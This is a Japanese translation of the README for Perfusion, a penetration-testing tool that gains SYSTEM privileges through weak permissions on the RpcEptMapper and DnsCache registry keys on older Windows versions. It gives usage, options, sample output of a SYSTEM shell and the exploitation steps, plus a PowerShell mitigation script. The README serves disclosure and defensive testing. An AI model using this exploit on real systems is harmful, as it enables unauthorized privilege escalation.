
RpcEptMapperレジストリキーの権限の脆弱性のエクスプロイト (Windows 7 / 2088R2 / 8 / 2012)
Windows 7、Windows Server 2008R2、Windows 8、Windows Server 2012 では、RpcEptMapper および DnsCache(7/2008R2 のみ)サービスのレジストリキーに弱いアクセス許可が設定されています。任意のローカルユーザーが Performance サブキーを作成し、Windows パフォーマンスカウンター を利用して、WMI サービスのコンテキストで NT AUTHORITY\SYSTEM として任意の DLL をロードできます(これがツール名の由来です)。
このツールは、ペネトレーションテスト中のセキュリティコンサルタントを支援することを目的としています。このソフトウェアは現状のままで提供され、サポートはおそらく提供しません。ただし、3つの異なる仮想マシンで十分にテスト済みであり、大きな問題は発生しないはずです。
詳細情報: https://itm4n.github.io/windows-registry-rpceptmapper-eop/
0patch によると、この脆弱性は 2021年4月の Windows Update(ESU)で部分的に修正されました。つまり、更新された Windows 8 / Server 2012 を実行しているマシンは、もはや悪用できなくなるはずです。ただし、Windows 7 / Server 2008 R2 は依然として脆弱です。RpcEptMapper の代わりに DnsCache レジストリキーを利用するだけでよく、PoC を更新して -k オプションで手動指定できるようにしました。
⚠️ このツールを使用する前に必ずお読みください ⚠️
このツールの開発中に、2つの異なる動作 を観察しました:
NT AUTHORITY\SYSTEM として直接ロードされる。この場合、エクスプロイトは完全に正常に動作します。NT AUTHORITY\LOCAL SERVICE として実行される WMI サービスのサブプロセスによってロードされる。この場合、サービスはクライアントを偽装しながら DLL をロードします。Windows 7 では(別の脆弱性のために)特権昇格が依然として可能ですが、実装コストに見合うだけの価値はありませんでした。この違いを説明することはできません。トリガー コードは常に同じでした。いずれにせよ、エクスプロイトに その役割を果たさせ、終了後にすべてをクリーンアップできるようにします。エクスプロイトが失敗した場合でも、数分後や数時間後に成功する可能性がありますが。
✔️ エクスプロイトが成功した場合の表示:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_2900_368_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[+] Exploit completed. Got a SYSTEM token! :)
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
Microsoft Windows [Version 6.2.9200]
(c) 2012 Microsoft Corporation. All rights reserved.
C:\Temp>whoami
nt authority\system
C:\Temp>
❌ エクスプロイトが失敗した場合の表示:
C:\Temp>Perfusion.exe -c cmd -i
[*] Created Performance DLL: C:\Users\Lab-User\AppData\Local\Temp\performance_636_3000_1.dll
[*] Created Performance registry key.
[*] Triggered Performance data collection.
[-] Exploit completed but no SYSTEM Token. :/
[*] Waiting for the Trigger Thread to terminate... OK
[*] Deleted Performance registry key.
[*] Deleted Performance DLL.
C:\Temp>
このソリューションは、特定の順序でコンパイルする必要がある2つのプロジェクトで構成されています。すべて事前設定済みなので、以下の簡単な手順に従うだけです:
Release / x64 を選択ビルド > ソリューションのビルド-h オプションでヘルプメッセージを確認できます。
C:\TOOLS>Perfusion.exe -h
_____ ___ _
| _ |___ ___| _|_ _ ___|_|___ ___
| __| -_| _| _| | |_ -| | . | | version 0.2
|__| |___|_| |_| |___|___|_|___|_|_| by @itm4n
Description:
Exploit tool for the RpcEptMapper registry key vulnerability.
Options:
-c <CMD> Command - Execute the specified command line
-i Interactive - Interact with the process (default: non-interactive)
-d Desktop - Spawn a new process on your desktop (default: hidden)
-k <KEY> Key - Either 'RpcEptMapper' or 'Dnscache' (default: 'RpcEptMapper')
-h Help - That's me :)
以下のバージョンの Windows が脆弱です:
| Windows バージョン | 脆弱なレジストリキー |
|---|---|
| Windows 7 | RpcEptMapper, DnsCache |
| Windows Server 2008R2 | RpcEptMapper, DnsCache |
| Windows 8 | RpcEptMapper |
| Windows Server 2012 | RpcEptMapper |
私の知る限り、この脆弱性は何らかの理由で Microsoft によって修正されることはありません。最善の解決策は Windows 10 / Server 2019 にアップグレードすることですが、短期間で実施できない場合は、以下のレジストリキーの CreateSubKey 権限を NT AUTHORITY\Authenticated Users と BUILTIN\Users の両方から削除することで、自分で修正できます:
HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapperHKLM\SYSTEM\CurrentControlSet\Services\DnsCacheこの脆弱性に対するパッチを PowerShell スクリプトとして作成しました: RegistryPatch.ps1。このスクリプトは、上記2つのレジストリキーの CreateSubKey 権限を、以下の ID から削除します: NT AUTHORITY\INTERACTIVE、BUILTIN\Users、または BUILTIN\Authenticated Users。
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
True
PS C:\Temp> . .\RegistryPatch.ps1; Invoke-RegistryPatch -Patch -Verbose
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\Authenticated Users" has "QueryValues, CreateSubKey, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "QueryValues, CreateSubKey, Notify" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper
VERBOSE: The new ACL was applied
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "NT AUTHORITY\INTERACTIVE" has "QueryValues, CreateSubKey, EnumerateSubKeys, ReadPermissions" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: Found a vulnerable ACE: "BUILTIN\Users" has "CreateSubKey, ReadKey" rights
VERBOSE: InheritanceFlags: None
VERBOSE: IsInherited: False
VERBOSE: Registry key: HKLM\SYSTEM\CurrentControlSet\Services\DnsCache
VERBOSE: The new ACL was applied
True
以下は、このツールに実装されているエクスプロイトの手順です:
Temp フォルダに書き込まれます。HKLM\SYSTEM\CurrentControlSet\Services\RpcEptMapper の下に Performance キーが作成され、適切な値(ステップ2で作成された DLL の完全パスを含む)が設定されます。Win32_Perf が作成および呼び出され、Windows パフォーマンスカウンター の収集がトリガーされます。NT AUTHORITY\SYSTEM または NT AUTHORITY\LOCAL SERVICE としてロードされます。NT AUTHORITY\SYSTEM によってロードされた場合、そのトークンが複製され、ステップ1でユーザーが作成したプロセスに適用されます。